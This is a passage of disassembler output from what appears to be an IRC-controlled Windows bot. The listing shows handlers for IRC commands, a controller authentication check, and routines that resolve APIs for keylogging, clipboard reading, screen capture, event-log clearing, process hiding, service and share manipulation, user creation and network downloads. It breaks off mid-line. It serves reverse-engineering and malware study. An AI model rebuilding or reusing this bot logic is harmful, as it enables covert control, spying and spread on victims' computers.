--------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429718 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2670000h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call dword_4CB03C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEF4[eax] nop call near ptr 2680981h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEF4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCE0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296EC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_4296C4 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_4296A0 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429674 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DE0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429658 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D44 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429634 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429610 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295EC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2670000h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295A0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42957C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA60 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE5C push ebx inc esi call sub_41C0F4 push offset asc_429578 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294F8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294A4 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429484 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429464 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE54, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call near ptr 2670000h nop locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB050, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAFC4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAFA8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAEB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAF0C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB004, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB060, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAEC4, eax call esi cmp dword_4CB050, ebx mov dword_4CAEAC, eax jz short loc_409C10 cmp dword_4CAFC4, ebx jz short loc_409C10 cmp dword_4CAFA8, ebx jz short loc_409C10 cmp dword_4CAEB8, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp dword_4CAF0C, ebx jz short loc_409C10 cmp dword_4CB004, ebx jz short loc_409C10 cmp dword_4CB060, ebx jz short loc_409C10 cmp dword_4CAEC4, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB064, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFDC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 2670914h mov dword_4CB068, eax mov dword_4CB064, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2690C6Fh mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB000, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAFB0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF44, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB054, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF74, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF94, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFF8, eax call esi cmp dword_4CB000, ebx mov dword_4CAEE4, eax jz short loc_409D00 cmp dword_4CAFB0, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CB054, ebx jz short loc_409D00 cmp dword_4CAF74, ebx jz short loc_409D00 cmp dword_4CAF94, ebx jz short loc_409D00 cmp dword_4CAFF8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB06C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF70, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF40, eax call esi cmp dword_4CAF70, ebx mov dword_4CAF28, eax jz short loc_409D67 cmp dword_4CAE78, ebx jz short loc_409D67 cmp dword_4CAF40, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2670914h mov dword_4CB070, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB06C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB014, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF58, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAFC8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAEA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAF08, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF80, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAF24, eax call esi cmp dword_4CB014, ebx mov dword_4CAF34, eax jz short loc_409E1A cmp dword_4CAF58, ebx jz short loc_409E1A cmp dword_4CAFC8, ebx jz short loc_409E1A cmp dword_4CAEA4, ebx jz short loc_409E1A cmp dword_4CAF08, ebx jz short loc_409E1A cmp dword_4CAF80, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB074, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF88, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF60, eax call esi cmp dword_4CAF88, ebx mov dword_4CB010, eax jz short loc_409E5F cmp dword_4CAF60, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB074, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF98, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEEC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEF0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF64, eax call esi cmp dword_4CAF98, ebx mov dword_4CAE8C, eax jz short loc_409F0D cmp dword_4CAE80, ebx jz short loc_409F0D cmp dword_4CAE88, ebx jz short loc_409F0D cmp dword_4CAEEC, ebx jz short loc_409F0D cmp dword_4CAEF0, ebx jz short loc_409F0D cmp dword_4CAE9C, ebx jz short loc_409F0D cmp dword_4CAF64, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB074, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE84, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2670914h mov dword_4CB078, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB074, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF90, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFE8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFF0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAFAC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAEC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFEC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE60, eax call esi cmp dword_4CAF90, ebx mov dword_4CAF00, eax jz short loc_40A016 cmp dword_4CAFE8, ebx jz short loc_40A016 cmp dword_4CAFF0, ebx jz short loc_40A016 cmp dword_4CAFAC, ebx jz short loc_40A016 cmp dword_4CAEC8, ebx jz short loc_40A016 cmp dword_4CAE74, ebx jz short loc_40A016 cmp dword_4CAFEC, ebx jz short loc_40A016 cmp dword_4CAE60, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call near ptr 2670914h nop mov dword_4CB080, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB07C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAF14, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB048, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAEB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF50, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF38, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAEFC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB024, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB040, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF4C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB030, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFE4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAFA4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAFA0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAED4, eax call esi push offset aSend ; "send" push edi mov dword_4CAECC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFF4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB008, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAFBC, eax call esi mov dword_4CAF7C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFD0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF8C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAFCC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB038, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF84, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF48, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAFB8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB028, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF5C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEF8, eax call esi cmp dword_4CAF14, ebx mov dword_4CB03C, eax jz loc_40A2E7 cmp dword_4CB048, ebx jz loc_40A2E7 cmp dword_4CAEB4, ebx jz loc_40A2E7 cmp dword_4CAF50, ebx jz loc_40A2E7 cmp dword_4CAF38, ebx jz loc_40A2E7 cmp dword_4CAEFC, ebx jz loc_40A2E7 cmp dword_4CB024, ebx jz loc_40A2E7 cmp dword_4CB040, ebx jz loc_40A2E7 cmp dword_4CAF4C, ebx jz loc_40A2E7 cmp dword_4CB030, ebx jz loc_40A2E7 cmp dword_4CAFE4, ebx jz loc_40A2E7 cmp dword_4CAFA4, ebx jz loc_40A2E7 cmp dword_4CAFA0, ebx jz loc_40A2E7 cmp dword_4CAED4, ebx jz short loc_40A2E7 cmp dword_4CAFF4, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAFBC, ebx jz short loc_40A2E7 cmp dword_4CAF7C, ebx jz short loc_40A2E7 cmp dword_4CAFD0, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAFCC, ebx jz short loc_40A2E7 cmp dword_4CB038, ebx jz short loc_40A2E7 cmp dword_4CAF84, ebx jz short loc_40A2E7 cmp dword_4CAF48, ebx jz short loc_40A2E7 cmp dword_4CAFB8, ebx jz short loc_40A2E7 cmp dword_4CB028, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 2670914h mov dword_4CB088, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB084, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEE0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF6C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAF18, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF78, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF3C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAEA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAEA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAEB0, eax call esi cmp dword_4CAEE0, ebx mov ecx, dword_4CAF3C mov dword_4CAFD8, eax jz short loc_40A3D2 cmp dword_4CAE68, ebx jz short loc_40A3D2 cmp dword_4CAF6C, ebx jz short loc_40A3D2 cmp dword_4CAF18, ebx jz short loc_40A3D2 cmp dword_4CAF78, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAEA8, ebx jz short loc_40A3D2 cmp dword_4CAEA0, ebx jz short loc_40A3D2 cmp dword_4CAEB0, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB08C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF54, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 2670914h mov dword_4CB090, eax mov dword_4CB08C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF54, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAF2C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB05C, eax call esi cmp dword_4CAF2C, ebx mov dword_4CAEBC, eax jz short loc_40A466 cmp dword_4CB05C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call near ptr 2670914h nop mov dword_4CB098, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB094, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEE8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAF1C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB034, eax call esi push offset aNetuseradd ; 